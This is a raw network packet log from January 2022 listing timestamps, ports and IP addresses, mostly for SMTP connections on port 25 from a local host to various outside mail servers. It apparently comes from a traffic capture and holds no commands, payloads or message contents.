Jan 7, 2022 15:43:09.133654118 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.133718967 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.133739948 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.133759975 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.133779049 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.133822918 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.134006977 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.134044886 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.135467052 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.295275927 CET	49771	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:09.321382999 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.321403027 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.321739912 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.321758986 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.322158098 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.322173119 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.322567940 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.322582960 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.323049068 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.323064089 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.323429108 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.323873043 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.324105978 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.324117899 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.324130058 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.324670076 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.324858904 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.324876070 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.324887037 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.325205088 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.325217962 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.325597048 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.325613022 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.326246977 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.326258898 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.326524973 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.326541901 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.326670885 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.326972008 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.327008963 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.349666119 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:09.349812031 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:09.390605927 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:09.396370888 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:09.396518946 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:09.437486887 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:09.517812967 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.517950058 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.763940096 CET	49774	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:09.795211077 CET	49776	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:09.795229912 CET	49805	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:43:09.870007992 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:09.870167971 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:09.911262035 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:10.062300920 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:10.062541008 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:10.062589884 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:10.103370905 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:10.103403091 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:10.103794098 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:10.103823900 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:10.103952885 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:10.104099989 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:11.685564995 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:11.739604950 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:11.739772081 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:11.793699980 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:11.793879032 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:11.847546101 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:11.848522902 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:11.848977089 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:11.901604891 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:11.901736021 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:11.958692074 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:11.970390081 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:11.970626116 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:11.970658064 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:11.970946074 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.023053885 CET	25	49813	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.023097992 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.023164034 CET	49813	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.023312092 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.078381062 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.078605890 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.131361961 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.132934093 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.133064985 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.186644077 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.186770916 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.244349003 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.252540112 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.252671957 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.252703905 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.253017902 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:12.305318117 CET	25	49814	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:12.305397034 CET	49814	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:12.601391077 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:12.601505995 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:12.745414972 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:12.906311035 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:12.906403065 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:12.934787989 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:12.934891939 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:13.103550911 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:13.103691101 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:13.453557968 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:13.486819983 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:13.486988068 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:13.606611967 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:13.676553965 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:13.680452108 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:13.717401981 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:13.729044914 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:13.729085922 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:13.873605013 CET	49801	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:43:13.921772003 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:13.921967983 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.077222109 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:14.129952908 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.130089045 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.227869987 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:14.228015900 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:14.335745096 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.335984945 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.336535931 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.526746988 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.526783943 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.526813030 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.527069092 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.527152061 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.527250051 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.527344942 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.570249081 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.570467949 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.575465918 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:14.716471910 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716512918 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716557026 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716583014 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716609001 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716641903 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716690063 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.716768980 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.716784000 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716799974 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.716813087 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716883898 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716886997 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.716902971 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.716934919 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.716957092 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.716975927 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.717004061 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.717015982 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.717041969 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.717055082 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.717071056 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.717094898 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.717143059 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.717165947 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.739260912 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:14.759763956 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.760377884 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.842086077 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:14.842999935 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:14.848479986 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:14.875291109 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:14.875509977 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:14.903518915 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:14.903624058 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:14.906384945 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906418085 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906445980 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906472921 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906480074 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906500101 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906522989 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906560898 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906630993 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906662941 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906689882 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906689882 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906708002 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906721115 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906738043 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906749010 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906768084 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906791925 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906825066 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906866074 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.906898975 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906970978 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.906997919 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907017946 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907022953 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907047033 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907057047 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907087088 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907094955 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907169104 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907179117 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907196045 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907212973 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907222986 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907244921 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907274961 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907294989 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907346964 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907366991 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907393932 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907411098 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907424927 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907433033 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907505035 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907556057 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907613039 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907639980 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907665968 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907669067 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907691002 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907777071 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907780886 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907803059 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907826900 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907856941 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.907875061 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.907924891 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.930102110 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:14.933171034 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:14.933284044 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:14.949714899 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.949758053 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.949786901 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.949810028 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.949811935 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:14.949892998 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.949913979 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:14.960443974 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:14.960581064 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:14.992397070 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:14.996267080 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:14.996395111 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:14.996439934 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:14.996736050 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:15.023498058 CET	25	49817	108.177.96.27	192.168.2.6
Jan 7, 2022 15:43:15.023572922 CET	49817	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:43:15.095813036 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.095840931 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.095851898 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.095958948 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.095983028 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.096035004 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.139306068 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.139621973 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.139743090 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.139777899 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.186255932 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.186485052 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.191740036 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:15.197258949 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:15.285271883 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.285305977 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.285331964 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.285360098 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.285387993 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.285413027 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.285418987 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.285517931 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.285547972 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.285567045 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.328901052 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.328917980 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.328927994 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.328972101 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329046011 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329061985 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329062939 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329077959 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329092026 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329121113 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329157114 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329169035 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329180002 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329236984 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329256058 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329313040 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329324007 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329329014 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329340935 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329351902 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329396963 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329404116 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329420090 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329421997 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329473019 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329478979 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329494953 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329511881 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329529047 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329570055 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329601049 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329603910 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329658031 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329720974 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329727888 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329745054 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329780102 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329794884 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329853058 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329894066 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.329904079 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.329966068 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330002069 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330008030 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330041885 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330086946 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330094099 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330173016 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330179930 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330238104 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330288887 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330328941 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330375910 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330410957 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330456018 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330528021 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330533981 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330590010 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330594063 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330662966 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330672026 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330708027 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330805063 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.330935001 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.330972910 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.343038082 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:15.343178034 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:15.343544960 CET	25	49815	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:15.343633890 CET	49815	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:15.347085953 CET	25	49818	74.125.200.27	192.168.2.6
